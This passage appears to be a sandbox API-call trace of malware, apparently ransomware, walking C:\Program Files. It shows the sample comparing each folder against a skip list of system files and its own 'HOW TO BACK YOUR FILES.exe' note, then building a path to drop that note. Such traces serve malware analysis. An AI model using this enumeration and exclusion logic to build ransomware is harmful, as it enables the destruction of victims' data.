	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="..") returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="windows") returned -1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="bootmgr") returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="temp") returned -1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="pagefile.sys") returned -1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="boot") returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="ids.txt") returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="ntuser.dat") returned -1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="perflogs") returned -1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="MSBuild") returned -1
	[0060.643] lstrlenW (lpString="Microsoft Sync Framework") returned 24
	[0060.643] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 53
	[0060.643] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Microsoft Sync Framework" | out: lpString1="Microsoft Sync Framework") returned="Microsoft Sync Framework"
	[0060.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0060.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5983a8
	[0060.643] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0060.643] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1db9c8c0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1db9c8c0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="Apollon865.txt.exe") returned 1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2=".") returned 1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="..") returned 1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="windows") returned -1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="bootmgr") returned 1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="temp") returned -1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="pagefile.sys") returned -1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="boot") returned 1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="ids.txt") returned 1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="ntuser.dat") returned -1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="perflogs") returned -1
	[0060.644] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="MSBuild") returned -1
	[0060.644] lstrlenW (lpString="Microsoft Synchronization Services") returned 34
	[0060.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework") returned 41
	[0060.644] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Microsoft Synchronization Services" | out: lpString1="Microsoft Synchronization Services") returned="Microsoft Synchronization Services"
	[0060.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0060.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5c8f30
	[0060.644] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0060.644] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dfa0de0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dfa0de0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="Apollon865.txt.exe") returned 1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2=".") returned 1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="..") returned 1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="windows") returned -1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="bootmgr") returned 1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="temp") returned -1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="pagefile.sys") returned -1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="boot") returned 1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="ids.txt") returned 1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="ntuser.dat") returned -1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="perflogs") returned -1
	[0060.644] lstrcmpiW (lpString1="MSBuild", lpString2="MSBuild") returned 0
	[0060.644] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dfc6f40, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dfc6f40, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="Apollon865.txt.exe") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2=".") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="..") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="windows") returned -1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="bootmgr") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="temp") returned -1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="pagefile.sys") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="boot") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ids.txt") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ntuser.dat") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="perflogs") returned 1
	[0060.645] lstrcmpiW (lpString1="Reference Assemblies", lpString2="MSBuild") returned 1
	[0060.645] lstrlenW (lpString="Reference Assemblies") returned 20
	[0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services") returned 51
	[0060.645] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Reference Assemblies" | out: lpString1="Reference Assemblies") returned="Reference Assemblies"
	[0060.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0060.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc9b8
	[0060.645] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0060.645] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="Apollon865.txt.exe") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2=".") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="..") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="windows") returned -1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="bootmgr") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="temp") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="pagefile.sys") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="boot") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="ids.txt") returned 1
	[0060.645] lstrcmpiW (lpString1="Uninstall Information", lpString2="ntuser.dat") returned 1
	[0060.646] lstrcmpiW (lpString1="Uninstall Information", lpString2="perflogs") returned 1
	[0060.646] lstrcmpiW (lpString1="Uninstall Information", lpString2="MSBuild") returned 1
	[0060.646] lstrlenW (lpString="Uninstall Information") returned 21
	[0060.646] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies") returned 37
	[0060.646] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Uninstall Information" | out: lpString1="Uninstall Information") returned="Uninstall Information"
	[0060.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0060.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bca10
	[0060.646] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0060.646] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dbc2a20, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dbc2a20, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="Apollon865.txt.exe") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2=".") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="..") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="windows") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="bootmgr") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="temp") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="pagefile.sys") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="boot") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="ids.txt") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="ntuser.dat") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="perflogs") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Defender", lpString2="MSBuild") returned 1
	[0060.646] lstrlenW (lpString="Windows Defender") returned 16
	[0060.646] lstrlenW (lpString="C:\\Program Files\\Uninstall Information") returned 38
	[0060.646] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender"
	[0060.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0060.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdf78
	[0060.646] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0060.646] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Journal", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Journal", lpString2="Apollon865.txt.exe") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Journal", lpString2=".") returned 1
	[0060.646] lstrcmpiW (lpString1="Windows Journal", lpString2="..") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="windows") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="bootmgr") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="temp") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="pagefile.sys") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="boot") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="ids.txt") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="ntuser.dat") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="perflogs") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Journal", lpString2="MSBuild") returned 1
	[0060.647] lstrlenW (lpString="Windows Journal") returned 15
	[0060.647] lstrlenW (lpString="C:\\Program Files\\Windows Defender") returned 33
	[0060.647] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Windows Journal" | out: lpString1="Windows Journal") returned="Windows Journal"
	[0060.647] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0060.647] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bded8
	[0060.647] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0060.647] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="Apollon865.txt.exe") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2=".") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="..") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="windows") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="bootmgr") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="temp") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="pagefile.sys") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="boot") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="ids.txt") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="ntuser.dat") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="perflogs") returned 1
	[0060.647] lstrcmpiW (lpString1="Windows Mail", lpString2="MSBuild") returned 1
	[0060.647] lstrlenW (lpString="Windows Mail") returned 12
	[0060.647] lstrlenW (lpString="C:\\Program Files\\Windows Journal") returned 32
	[0060.647] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail"
	[0060.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0060.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b62c8
	[0060.648] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0060.648] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1db76760, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1db76760, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="Apollon865.txt.exe") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2=".") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="..") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="windows") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="bootmgr") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="temp") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="pagefile.sys") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="boot") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="ids.txt") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="ntuser.dat") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="perflogs") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows Media Player", lpString2="MSBuild") returned 1
	[0060.648] lstrlenW (lpString="Windows Media Player") returned 20
	[0060.648] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29
	[0060.648] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Windows Media Player" | out: lpString1="Windows Media Player") returned="Windows Media Player"
	[0060.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0060.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bca68
	[0060.648] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0060.648] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1
	[0060.648] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows NT", lpString2="Apollon865.txt.exe") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows NT", lpString2=".") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows NT", lpString2="..") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows NT", lpString2="windows") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows NT", lpString2="bootmgr") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows NT", lpString2="temp") returned 1
	[0060.648] lstrcmpiW (lpString1="Windows NT", lpString2="pagefile.sys") returned 1
	[0060.649] lstrcmpiW (lpString1="Windows NT", lpString2="boot") returned 1
	[0060.649] lstrcmpiW (lpString1="Windows NT", lpString2="ids.txt") returned 1
	[0060.649] lstrcmpiW (lpString1="Windows NT", lpString2="ntuser.dat") returned 1
	[0060.649] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT"
	[0060.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0060.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca310
	[0060.649] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0060.649] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1
	[0060.649] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.649] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="Apollon865.txt.exe") returned 1
	[0060.649] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Windows Photo Viewer" | out: lpString1="Windows Photo Viewer") returned="Windows Photo Viewer"
	[0060.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0060.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bcac0
	[0060.649] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0060.649] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0060.649] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.649] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="Apollon865.txt.exe") returned 1
	[0060.649] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Windows Portable Devices" | out: lpString1="Windows Portable Devices") returned="Windows Portable Devices"
	[0060.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0060.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598468
	[0060.649] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0060.649] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0060.649] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.649] lstrcmpiW (lpString1="Windows Sidebar", lpString2="Apollon865.txt.exe") returned 1
	[0060.649] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar"
	[0060.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0060.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdf28
	[0060.649] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0060.649] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0
	[0060.650] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0060.650] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0060.650] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar"
	[0060.650] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0060.650] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0060.650] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar") returned 32
	[0060.650] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar" | out: lpString1="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar"
	[0060.650] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
